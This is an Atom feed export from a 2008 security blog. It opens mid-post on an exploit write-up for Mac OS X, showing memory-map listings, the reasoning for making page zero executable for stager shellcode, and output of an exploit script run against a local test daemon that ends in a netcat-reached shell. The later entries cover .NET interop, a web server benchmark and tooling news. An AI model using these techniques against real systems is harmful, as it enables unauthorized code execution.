Stack                  bf800000-bffff000 [ 8188K] rwx/rwx SM=PRV  
Stack                  bffff000-c0000000 [    4K] rwx/rwx SM=COW  thread 0
Stack                   [   8192K]
&lt;/pre&gt;

&lt;p&gt;
    And the &lt;code&gt;mmap&lt;/code&gt; of &lt;code&gt;PAGE_ZERO&lt;/code&gt; produces the following results (note the
    initial unmapped state, and the different permissions afterwards, before the
    final &lt;code&gt;mprotect&lt;/code&gt; call):
&lt;/p&gt;

&lt;pre&gt;
Before mmap():
__PAGEZERO             00000000-00001000 [    4K] ---/--- SM=NUL .../vulnerabled
__PAGEZERO              [      4K]

Before mprotect():
__PAGEZERO             00000000-00001000 [    4K] rw-/rwx SM=NUL .../vulnerabled

After mprotect():
__PAGEZERO             00000000-00001000 [    4K] rwx/rwx SM=NUL .../vulnerabled
&lt;/pre&gt;

&lt;p&gt;
    Now our stager shellcode will be able to write data received from the attacking
    host to a writable and executable region at a static address, without requiring
    allocation using non-static locations.
&lt;/p&gt;

&lt;h3&gt;Conclusions&lt;/h3&gt;

&lt;p&gt;
    Developing custom shellcode is trivial in most situations, albeit testing can
    be tiresome. Mac OS X lack of heap and &lt;code&gt;mmap&lt;/code&gt; randomization is embarrassing,
    and its layout has been repeatedly demonstrated to be easily predictable. Also, heap
    memory permissions aren't enforced against execution (and read implies execute on Intel),
    thus making heap a safe bet for storing our shellcode, and other data on runtime during
    exploitation. ASLR in Leopard is incredibly weak, allowing trivial abuse of daemons
    and applications re-spawning after an exception, and certain dyld ABI is still static.
    Last but not least, lack of general memory permissions enforcement allows regions
    to be made executable, thus defeating the whole purpose of both ASLR and NX on OS X.
&lt;/p&gt;

&lt;pre&gt;
$ python vulnerabled_exploit.py -s 127.0.0.1 -p 6888
[+] Target vulnerabled at 127.0.0.1:6888 ...
[+] Running...
[+] Finished (shellcode was 152 bytes, 290 total).
[+] Check 127.0.0.1:6900 for shell.

(gdb) r
Starting program: ./vulnerabled 
Reading symbols for shared libraries ++. done
Starting ./vulnerabled (pid: 2141, port: 6888)...
connection from 127.0.0.1
tmpbuf=0x800000 vulnbuf=0xbffff74b esp=0xbffff6f0
it's a good message! (282 bytes, 273 in data)
received message: ??????????1??R???
connection from 127.0.0.1
tmpbuf=0xbffff888 vulnbuf=0xbffff74b esp=0xbffff6f0
vulnerabled(2141) malloc: *** error for object 0xbffff888: Non-aligned pointer being freed
*** set a breakpoint in malloc_error_break to debug

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8fe01010 in __dyld__dyld_start ()
(gdb) c
Continuing.
Reading symbols for shared libraries .. done


$ nc 127.0.0.1 6900
id
uid=501(myuser) gid=20(staff) groups=20(staff),98(_lpadmin), ...
&lt;/pre&gt;

&lt;p&gt;
&lt;/p&gt;

        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=6-m2JI1YzG8:nNCTpYCj2AU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=6-m2JI1YzG8:nNCTpYCj2AU:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=6-m2JI1YzG8:nNCTpYCj2AU:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=6-m2JI1YzG8:nNCTpYCj2AU:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=6-m2JI1YzG8:nNCTpYCj2AU:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=6-m2JI1YzG8:nNCTpYCj2AU:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=6-m2JI1YzG8:nNCTpYCj2AU:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=6-m2JI1YzG8:nNCTpYCj2AU:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/6-m2JI1YzG8" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/10/custom-shellcode-and-return-to-libc-on-mac-os-x.html</feedburner:origLink></entry>

<entry>
    <title>Marshal and Native API bridging on Microsoft Windows (NT)</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/-KjSwSn8Ofs/marshal-and-native-api-bridging-on-microsoft-windows-nt.html" />
    <id>tag:www.subreption.com,2008:/blog//1.103</id>

    <published>2008-09-11T14:44:44Z</published>
    <updated>2009-03-08T14:53:36Z</updated>

    <summary> Marshal and Native API bridging on Microsoft Windows (NT) The .NET framework provides a Marshal class from its Runtime.InteropServices namespace which helps interfacing native and unmanaged data with managed code. The easy path for most of these cases is...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term=".NET" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Coding" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="csharp" label="csharp" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="dotnet" label="dotnet" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="tips" label="tips" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="windows" label="windows" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
         Marshal and Native API bridging on Microsoft Windows (NT)

&lt;p&gt;
The .NET framework
&lt;a href="http://msdn.microsoft.com/en-us/library/system.runtime.interopservices.marshal(VS.71).aspx"&gt;
provides a Marshal class&lt;/a&gt; from its &lt;a href="http://msdn.microsoft.com/en-us/library/system.runtime.interopservices(VS.71).aspx"&gt;Runtime.InteropServices&lt;/a&gt;
namespace which helps &lt;a href="http://www.codeproject.com/KB/dotnet/Win32APICPlusPlustoDotNET.aspx"&gt;
interfacing native and unmanaged data&lt;/a&gt; with managed code.
The easy path for most of these cases is to simply use unsafe blocks and cast
a pointer, but you end up losing references to allocated structures, leaking
memory and likely leaving some funny exploitable condition in your
unmanaged &lt;em&gt;code bridge&lt;/em&gt;. Those pesky dangling pointers...
&lt;/p&gt;

&lt;p&gt;
The function below calls an internal method to retrieve the list of loaded
kernel modules from userland. It depends on &lt;code&gt;NtQuerySystemInformation()&lt;/code&gt;
and requires a heap-allocated structure array. Interfacing this with a C# managed
class will require another exported function to call &lt;code&gt;HeapFree()&lt;/code&gt; and
release the allocated memory.&lt;br/&gt;

Using such an approach is certainly not recommended but it will cut you some hassle:
&lt;/p&gt;

&lt;pre&gt;
extern "C" __declspec(dllexport) PSYSTEM_MODULE_INFORMATION GetKernelModules(void)
{
	HANDLE tmpHeap = GetProcessHeap();
	PSYSTEM_MODULE_INFORMATION modList = NULL;
	
	LoadFunctionPointers();
	_getSysModules(&amp;modList, tmpHeap);

	return modList;
}

extern "C" __declspec(dllexport) void MyFreeHeap(LPVOID ptrToFree)
{
	HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, ptrToFree);
}
&lt;/pre&gt;
        &lt;p&gt;
On the C# side, we will be using a Marshal structure declaration in order to be
able to use the &lt;code&gt;PtrToStructure&lt;/code&gt; method, which allows us to copy memory from 
unmanaged space into our managed class, and then we can release whatever memory
was allocated for the native API.
&lt;/p&gt;

&lt;pre&gt;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 2)]
public struct SYSTEM_MODULE_INFORMATION
{
    [MarshalAs(UnmanagedType.U4)] public UInt32 Reserved1;
    [MarshalAs(UnmanagedType.U4)] public UInt32 Reserved2;
    ...
}

int curOffset = (int)(i * Marshal.SizeOf(Modules[i]));
IntPtr curPtr = new IntPtr(ModulesListPtr.ToInt32() + curOffset);

Modules[i] = (SYSTEM_MODULE_INFORMATION) Marshal.PtrToStructure(curPtr,
                   typeof(SYSTEM_MODULE_INFORMATION));

[DllImport("mylib.dll", CharSet = CharSet.Unicode)]
        private extern static void MyFreeHeap(IntPtr ptr);
&lt;/pre&gt;

&lt;p&gt;
Depending on your target platform, you might want to adjust &lt;code&gt;CharSet&lt;/code&gt;
since Unicode is the default on NT based systems (that is, all modern versions of
Windows, excluding 9x/ME if you consider them modern... although in terms of
security, it seems like Windows 98 is safer, after all, most malware doesn't work
on it anymore). Packing is also important, since it means how your structure is
actually stored on memory. Values of 1-2 are safe, just verify the alignment of
the variables within the structure you are trying to use.
&lt;br/&gt;
Some suggestions:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;In your bridge DLL, don't resort to typical pointer overwrites to return
    or store information to the calling function. Using GCHandles to deal with
    such functions will cause a great deal of stupid exceptions about incorrect
    references in the internal GC object tracking. Let's say that .NET GC does
    not like to release handle with wrong pinned object addresses. Save you some
    debugging time, and in the meanwhile, do proper unmanaged programming.&lt;/li&gt;
    
    &lt;li&gt;Your bridge DLL should allocate heap memory and set or return a pointer
    to that location. Then your managed class should call a &lt;code&gt;pInvoke&lt;/code&gt; or
    similar method that itself works with HeapFree within your DLL bridge library.
    You could also use &lt;code&gt;Marshal.AllocHCGlobal&lt;/code&gt;&lt;/li&gt;
    
    &lt;li&gt;Use a &lt;code&gt;GCHandle&lt;/code&gt; when you need to write data from your unmanaged
    code directly, and remember to release it once you are done with it. But
    &lt;strong&gt;never&lt;/strong&gt; overwrite the address of managed object or you will
    end up hitting an invalid free whenever the GC attempts to release your now
    corrupted object. And that might happen in a manner that makes debugging a
    pain in the ass. Better go clubbing than waste your time debugging that.&lt;/li&gt;
&lt;/ul&gt; 
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=-KjSwSn8Ofs:RO7rWS-245s:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=-KjSwSn8Ofs:RO7rWS-245s:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=-KjSwSn8Ofs:RO7rWS-245s:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=-KjSwSn8Ofs:RO7rWS-245s:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=-KjSwSn8Ofs:RO7rWS-245s:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=-KjSwSn8Ofs:RO7rWS-245s:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=-KjSwSn8Ofs:RO7rWS-245s:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=-KjSwSn8Ofs:RO7rWS-245s:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/-KjSwSn8Ofs" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/09/marshal-and-native-api-bridging-on-microsoft-windows-nt.html</feedburner:origLink></entry>

<entry>
    <title>Pyblosxom and mod_wsgi benchmark</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/rrLD5nXh1Es/pyblosxom-and-mod-wsgi-benchmark.html" />
    <id>tag:www.subreption.com,2009:/blog//1.104</id>

    <published>2008-09-06T14:54:15Z</published>
    <updated>2009-03-08T14:56:02Z</updated>

    <summary> Running our custom pyblosxom engine with mod_wsgi and Apache disk-based cache enabled is currently providing a performance of roughly 170 requests per second as of a measurement running 50 concurrent requests and a total of 1000 requests against the...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Open Source" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Performance and optimization" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="benchmark" label="benchmark" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="python" label="python" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
         &lt;p&gt;
    Running our custom pyblosxom engine with mod_wsgi and Apache disk-based cache
    enabled is currently providing a performance of roughly 170 requests per
    second as of a measurement running 50 concurrent requests and a total of
    1000 requests against the index page as of 6th September 2008.
&lt;/p&gt;

&lt;p&gt;
    There are some potential improvements and lighttpd or a similar high
    performance webserver could probably beat these numbers by a magnitude of
    a few thousand requests. We will be likely testing such a setup in the
    future. In our tests, lighttpd itself can handle around 1012.06 requests per
    second for a FastCGI served lightweight PHP script with no database backend
    usage.
&lt;/p&gt;

&lt;pre&gt;Server Software:        Apache
Server Hostname:        blog.subreption.com
Server Port:            80

Document Path:          /hub
Document Length:        24112 bytes

Concurrency Level:      50
Time taken for tests:   5.882 seconds
Complete requests:      1000
Failed requests:        0
Write errors:           0
Total transferred:      24289000 bytes
HTML transferred:       24112000 bytes
Requests per second:    170.02 [#/sec] (mean)
Time per request:       294.088 [ms] (mean)
Time per request:       5.882 [ms] (mean, across all concurrent requests)
Transfer rate:          4032.75 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.2      0       1
Processing:    17  287  51.1    299     490
Waiting:       16  286  51.2    298     490
Total:         18  287  51.0    299     491

Percentage of the requests served within a certain time (ms)
  50%    299
  66%    313
  75%    321
  80%    325
  90%    338
  95%    351
  98%    368
  99%    375
 100%    491 (longest request)
&lt;/pre&gt;
        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=rrLD5nXh1Es:-Do4uyMQ-kE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=rrLD5nXh1Es:-Do4uyMQ-kE:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=rrLD5nXh1Es:-Do4uyMQ-kE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=rrLD5nXh1Es:-Do4uyMQ-kE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=rrLD5nXh1Es:-Do4uyMQ-kE:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=rrLD5nXh1Es:-Do4uyMQ-kE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=rrLD5nXh1Es:-Do4uyMQ-kE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=rrLD5nXh1Es:-Do4uyMQ-kE:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/rrLD5nXh1Es" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/09/pyblosxom-and-mod-wsgi-benchmark.html</feedburner:origLink></entry>

<entry>
    <title>The blog is back and rolling on Python</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/C1h0ReTLhug/the-blog-is-back-and-rolling-on-python.html" />
    <id>tag:www.subreption.com,2008:/blog//1.102</id>

    <published>2008-09-06T14:13:01Z</published>
    <updated>2009-03-08T14:17:17Z</updated>

    <summary><![CDATA[&lt;p&gt;&nbsp;&nbsp;&nbsp; Finally the blog is back, after many changes in the infrastructure behind&nbsp;&nbsp;&nbsp; the scenes. The most important move was removing PHP support in our servers&nbsp;&nbsp;&nbsp; and migrating from Wordpress as blogging engine. Unfortunately, the current&nbsp;&nbsp;&nbsp; state of security for...]]></summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Blogging" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="python" label="python" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="software" label="software" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="websecurity" label="web security" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        &amp;lt;p&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Finally the blog is back, after many changes in the infrastructure behind&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the scenes. The most important move was removing PHP support in our servers&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; and migrating from Wordpress as blogging engine. Unfortunately, the current&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; state of security for web applications developed with PHP and the language&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; itself, is simply not acceptable for most people with above average security&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; requirements.&lt;br /&gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;li&amp;gt;Most PHP web applications use inherently flawed &amp;lt;code&amp;gt;preg_replace()&amp;lt;/code&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; calls.&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;li&amp;gt;Wordpress and most PHP web applications are oblivious to multibyte&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; character encoding issues: there are potential execution paths that&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; could be abused using special encodings. For instance, they were never&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; developed with such corner cases in mind.&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;li&amp;gt;&amp;lt;code&amp;gt;mod_php&amp;lt;/code&amp;gt; itself is a memory blackhole. Only FastCGI&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; environments can provide a minimally acceptable level of security when it&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comes down to privilege separation and memory address space isolation.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; As an example, check how &amp;lt;code&amp;gt;mod_php&amp;lt;/code&amp;gt; let's a PHP script access&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Apache's file descriptors. It's just stupid.&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;li&amp;gt;While other languages such as Python and Ruby suffer of common vulnerability&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; classes (from the most trivial cross-site scripting to CSRF et al), PHP&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; brings its own tricks.&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We are now running on a full Python and Ruby infrastructure with isolated&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; jails and few critical services virtualized. &amp;lt;a href="http://pax.grsecurity.net"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; PaX&amp;lt;/a&amp;gt; and &amp;lt;a href="http://grsecurity.net"&amp;gt;grsecurity&amp;lt;/a&amp;gt; RBAC policies&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; provide the necessary fncitonality to ensure that every process is locked&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; down properly. Besides, PaX on 64-bit processors provides a whopping 40-bit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ASLR entropy :).&lt;br /&gt;&amp;lt;/p&amp;gt; 
        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=C1h0ReTLhug:ogWdqpe7ZJ0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=C1h0ReTLhug:ogWdqpe7ZJ0:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=C1h0ReTLhug:ogWdqpe7ZJ0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=C1h0ReTLhug:ogWdqpe7ZJ0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=C1h0ReTLhug:ogWdqpe7ZJ0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=C1h0ReTLhug:ogWdqpe7ZJ0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=C1h0ReTLhug:ogWdqpe7ZJ0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=C1h0ReTLhug:ogWdqpe7ZJ0:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/C1h0ReTLhug" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/09/the-blog-is-back-and-rolling-on-python.html</feedburner:origLink></entry>

<entry>
    <title>PatchDiff 2 by Tenable Security</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/v-fNF4Woy9A/patchdiff-2-by-tenable-security.html" />
    <id>tag:www.subreption.com,2008:/blog//1.96</id>

    <published>2008-07-29T15:24:09Z</published>
    <updated>2009-03-08T08:49:04Z</updated>

    <summary>Finally a free alternative to the insanely expensive BinDiff by Zynamics (also known as Sabre Security in the past). It's been developed by Tenable Security (the people behind Nessus nowadays), and requires IDA Pro 5.2 on Windows. Get PatchDiff 2...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        Finally a free alternative to the insanely expensive &lt;a href="http://www.zynamics.com/bindiff.html"&gt;BinDiff&lt;/a&gt; by &lt;a href="http://www.zynamics.com/"&gt;Zynamics&lt;/a&gt; (also known as Sabre Security in the past). It's been developed by Tenable Security (the people behind Nessus nowadays), and requires IDA Pro 5.2 on Windows.

&lt;a href="http://cgi.tenablesecurity.com/tenable/patchdiff.php"&gt;Get PatchDiff 2&lt;/a&gt; and give it a try, it's looking good so far. That said, it's graphing capabilities aren't as nice as BinDiff's, and it may lack of some features, albeit possibly compensated by the 1330 USD of a license to 0 USD of Tenable Security's free alternative.
        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=v-fNF4Woy9A:mVCwQGf4sSg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=v-fNF4Woy9A:mVCwQGf4sSg:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=v-fNF4Woy9A:mVCwQGf4sSg:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=v-fNF4Woy9A:mVCwQGf4sSg:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=v-fNF4Woy9A:mVCwQGf4sSg:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=v-fNF4Woy9A:mVCwQGf4sSg:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=v-fNF4Woy9A:mVCwQGf4sSg:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=v-fNF4Woy9A:mVCwQGf4sSg:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/v-fNF4Woy9A" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2008/07/patchdiff-2-by-tenable-security.html</feedburner:origLink></entry>

<entry>
    <title>Linux kernel developers silently patching issues? No way!</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/XLdVXVZBR6M/linux-kernel-developers-silently-patching-issues-no-way.html" />
    <id>tag:www.subreption.com,2008:/blog//1.95</id>

    <published>2008-07-19T20:39:09Z</published>
    <updated>2009-03-08T08:49:04Z</updated>

    <summary>Alright, this might be the first article on the "Silent Patches" series, starting today and possibly lasting... forever. So, let's get to the business. Brad "spender" Spengler is pissed, and that's already a bad thing for the many people that...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Lies and silence" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Open Source" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="annoying" label="annoying" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="kernel" label="kernel" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="linux" label="linux" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="lists" label="lists" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="silentpatching" label="silent patching" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
